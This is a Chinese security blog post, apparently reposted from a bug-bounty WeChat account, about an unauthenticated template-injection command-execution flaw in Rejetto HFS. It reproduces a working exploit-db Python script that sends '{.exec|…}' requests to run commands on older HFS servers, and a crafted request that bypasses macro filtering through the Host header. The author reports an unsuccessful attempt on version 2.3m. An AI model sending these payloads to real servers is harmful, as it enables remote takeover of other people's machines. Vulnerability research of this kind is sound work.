HFS2.3m未授权命令执行漏洞

admin 2024年6月7日08:16:42评论50 views字数 1243阅读4分8秒阅读模式

最近看到一篇文章说HFS最新版本存在未授权命令执行漏洞,参考地址:

https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/

什么是HFS?

Rejetto HFS,这是一个曾经流行的 Windows 文件服务,于 2002 年 8 月首次发布。

大家应该都熟悉,可以看到界面如下:

HFS2.3m未授权命令执行漏洞

旧版本版本存在命令执行漏洞,验证脚本地址:

https://www.exploit-db.com/exploits/37985

import socketurl = raw_input("Enter URL : ")try:      while True:            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)            sock.connect((url, 80))            cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")            req = "GET /?{.exec|"+cmd+".}"            req += " HTTP/1.1rnrn"            sock.send(req)            sock.close()            print "Done!"except KeyboardInterrupt:      print "Bye!"

但是目前默认下载的是2.3m版本,使用之前的肯定打不了。

下载:

https://www.rejetto.com/hfs/?f=dl

https://github.com/rejetto/hfs2

漏洞成因就是模板注入,HFS 有自己的模板解析器,是同类中最古老的解析器之一。

作者的复现图片是这样的:

HFS2.3m未授权命令执行漏洞

那么我也高兴地下载最新版本复现一下,搭建起来,按照他的url参数干进去连{.exec.}都不解析,宏都不解析,作者的payload怎么执行的?看源代码吧:

HFS2.3m未授权命令执行漏洞

正则:result:=reMatch(s, '{[.:]|[.:]}||', 'm!', ofs)

我在想作者怎么绕过的?难道是假的?

虽然能通过host进行绕过执行宏

GET /?n=%0A&index=%00&&cmd=calc&sort={%host%exec%host%} HTTP/1.1Host: .Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close

但是“|”这个真没法,只要有这个符号就g。

最后无功而返,只能公众号求助了,如果有哪位大兄弟绕过了,麻烦私信一下,谢谢!

最后建议使用HFS3。

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。

原文始发于微信公众号(柠檬赏金猎人):HFS2.3m未授权命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月7日08:16:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HFS2.3m未授权命令执行漏洞https://cn-sec.com/archives/2817885.html

发表评论

匿名网友 填写信息